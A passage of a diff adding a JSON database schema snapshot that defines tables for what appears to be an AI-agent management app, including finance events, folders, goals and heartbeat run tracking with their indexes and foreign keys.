+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "finance_events_company_occurred_idx": {
+          "name": "finance_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_biller_occurred_idx": {
+          "name": "finance_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_kind_occurred_idx": {
+          "name": "finance_events_company_kind_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "event_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_direction_occurred_idx": {
+          "name": "finance_events_company_direction_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_heartbeat_run_idx": {
+          "name": "finance_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_cost_event_idx": {
+          "name": "finance_events_company_cost_event_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cost_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "finance_events_company_id_companies_id_fk": {
+          "name": "finance_events_company_id_companies_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_agent_id_agents_id_fk": {
+          "name": "finance_events_agent_id_agents_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_issue_id_issues_id_fk": {
+          "name": "finance_events_issue_id_issues_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "finance_events_project_id_projects_id_fk": {
+          "name": "finance_events_project_id_projects_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_goal_id_goals_id_fk": {
+          "name": "finance_events_goal_id_goals_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_cost_event_id_cost_events_id_fk": {
+          "name": "finance_events_cost_event_id_cost_events_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "cost_events",
+          "columnsFrom": [
+            "cost_event_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.folders": {
+      "name": "folders",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "system_key": {
+          "name": "system_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "folders_company_kind_position_idx": {
+          "name": "folders_company_kind_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_root_slug_uq": {
+          "name": "folders_company_kind_root_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_slug_uq": {
+          "name": "folders_company_kind_parent_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_system_key_uq": {
+          "name": "folders_company_kind_system_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "system_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"system_key\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_position_idx": {
+          "name": "folders_company_kind_parent_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "folders_company_id_companies_id_fk": {
+          "name": "folders_company_id_companies_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "folders_parent_id_folders_id_fk": {
+          "name": "folders_parent_id_folders_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.goals": {
+      "name": "goals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'task'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'planned'"
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "goals_company_idx": {
+          "name": "goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "goals_company_id_companies_id_fk": {
+          "name": "goals_company_id_companies_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_parent_id_goals_id_fk": {
+          "name": "goals_parent_id_goals_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_owner_agent_id_agents_id_fk": {
+          "name": "goals_owner_agent_id_agents_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_events": {
+      "name": "heartbeat_run_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "bigserial",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "seq": {
+          "name": "seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stream": {
+          "name": "stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_events_run_seq_idx": {
+          "name": "heartbeat_run_events_run_seq_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "seq",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_run_idx": {
+          "name": "heartbeat_run_events_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_created_idx": {
+          "name": "heartbeat_run_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_events_company_id_companies_id_fk": {
+          "name": "heartbeat_run_events_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_events_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_watchdog_decisions": {
+      "name": "heartbeat_run_watchdog_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evaluation_issue_id": {
+          "name": "evaluation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_watchdog_decisions_company_run_created_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_watchdog_decisions_company_run_snooze_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "snoozed_until",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "evaluation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_runs": {
+      "name": "heartbeat_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_source": {
+          "name": "invocation_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'on_demand'"
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "wakeup_request_id": {
+          "name": "wakeup_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signal": {
+          "name": "signal",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_json": {
+          "name": "usage_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_json": {
+          "name": "result_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_before": {
+          "name": "session_id_before",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_after": {
+          "name": "session_id_after",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_run_id": {
+          "name": "external_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_pid": {
+          "name": "process_pid",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_group_id": {
+          "name": "process_group_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_started_at": {
+          "name": "process_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_at": {
+          "name": "last_output_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_seq": {
+          "name": "last_output_seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_output_stream": {
+          "name": "last_output_stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_bytes": {
+          "name": "last_output_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_run_id": {
+          "name": "retry_of_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_loss_retry_count": {
+          "name": "process_loss_retry_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_at": {
+          "name": "scheduled_retry_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scheduled_retry_attempt": {
+          "name": "scheduled_retry_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_reason": {
+          "name": "scheduled_retry_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_status": {
+          "name": "issue_comment_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_applicable'"
+        },
+        "issue_comment_satisfied_by_comment_id": {
+          "name": "issue_comment_satisfied_by_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_retry_queued_at": {
+          "name": "issue_comment_retry_queued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_state": {
+          "name": "liveness_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_reason": {
+          "name": "liveness_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "continuation_attempt": {
+          "name": "continuation_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_useful_action_at": {
+          "name": "last_useful_action_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "context_snapshot": {
+          "name": "context_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_runs_company_agent_started_idx": {
+          "name": "heartbeat_runs_company_agent_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_responsible_user_idx": {
+          "name": "heartbeat_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_liveness_idx": {
+          "name": "heartbeat_runs_company_liveness_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "liveness_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
